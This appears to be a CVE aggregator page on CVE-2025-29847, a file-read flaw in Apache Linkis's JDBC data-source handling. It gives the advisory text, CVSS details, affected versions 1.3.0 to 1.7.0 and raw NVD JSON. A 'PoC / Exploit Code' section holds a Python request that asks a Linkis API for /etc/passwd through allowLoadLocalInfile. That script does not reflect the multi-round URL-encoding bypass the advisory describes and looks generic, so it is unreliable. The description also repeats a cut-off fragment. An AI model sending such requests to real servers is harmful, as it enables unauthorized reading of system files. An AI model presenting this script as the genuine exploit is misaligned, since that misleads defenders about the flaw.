Security Vulnerability Report
中文
CVE-2025-29847 CVSS 7.5 HIGH

CVE-2025-29847

Published: 2026-01-19 09:16:01
Last Modified: 2026-01-27 21:12:41

Description

A vulnerability in Apache Linkis. Problem Description When using the JDBC engine and da When using the JDBC engine and data source functionality, if the URL parameter configured on the frontend has undergone multiple rounds of URL encoding, it may bypass the system's checks. This bypass can trigger a vulnerability that allows unauthorized access to system files via JDBC parameters. Scope of Impact This issue affects Apache Linkis: from 1.3.0 through 1.7.0. Severity level moderate Solution Continuously check if the connection information contains the "%" character; if it does, perform URL decoding. Users are recommended to upgrade to version 1.8.0, which fixes the issue. More questions about this vulnerability can be discussed here:  https://lists.apache.org/[email protected]:2025-9:cve

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:apache:linkis:*:*:*:*:*:*:*:* - VULNERABLE
Apache Linkis >=1.3.0 且 <1.8.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests target = 'http://target-server:9002/api/rest_j/v1' payload = { 'method': 'GET', 'url': 'jdbc:mysql://localhost:3306/test?allowLoadLocalInfile=true', 'params': { 'file': '/etc/passwd' } } response = requests.post(target, json=payload, timeout=10) print(response.json())

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-29847", "sourceIdentifier": "[email protected]", "published": "2026-01-19T09:16:01.237", "lastModified": "2026-01-27T21:12:41.117", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability in Apache Linkis.\n\nProblem Description\nWhen using the JDBC engine and da\nWhen using the JDBC engine and data source functionality, if the URL parameter configured on the frontend has undergone multiple rounds of URL encoding, it may bypass the system's checks. This bypass can trigger a vulnerability that allows unauthorized access to system files via JDBC parameters.\n\nScope of Impact\n\n\nThis issue affects Apache Linkis: from 1.3.0 through 1.7.0.\n\nSeverity level\n\n\nmoderate\nSolution\nContinuously check if the connection information contains the \"%\" character; if it does, perform URL decoding.\n\nUsers are recommended to upgrade to version 1.8.0, which fixes the issue.\n\n\n\n\nMore questions about this vulnerability can be discussed here:  https://lists.apache.org/[email protected]:2025-9:cve"}, {"lang": "es", "value": "Una vulnerabilidad en Apache Linkis.\n\nDescripción del problema\nAl utilizar el motor JDBC y la funcionalidad de fuente de datos, si el parámetro URL configurado en el frontend ha sido sometido a múltiples rondas de codificación URL, puede eludir las comprobaciones del sistema. Esta elusión puede desencadenar una vulnerabilidad que permite el acceso no autorizado a archivos del sistema a través de parámetros JDBC.\n\nAlcance del impacto\nEste problema afecta a Apache Linkis: desde la 1.3.0 hasta la 1.7.0.\n\nNivel de gravedad\nmoderado\nSolución\nComprobar continuamente si la información de conexión contiene el carácter '%'; si lo contiene, realizar la decodificación URL.\n\nSe recomienda a los usuarios actualizar a la versión 1.8.0, que corrige el problema.\n\nMás preguntas sobre esta vulnerabilidad pueden discutirse aquí: https://lists.apache.org/[email protected]:2025-9:cve"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}, {"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:apache:linkis:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.3.0", "versionEndExcluding": "1.8.0", "matchCriteriaId": "4ADF588F-526C-4CEC-9F76-44D1BE9ACD27"}]}]}], "references": [{"url": "https://lists.apache.org/thread/03l5rfkgdt022o75jp8x4tzpqxz8g057", "source": "[email protected]", "tags": ["Mailing List"]}, {"url": "http://www.openwall.com/lists/oss-security/2025/09/19/2", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Mailing List", "Third Party Advisory"]}]}}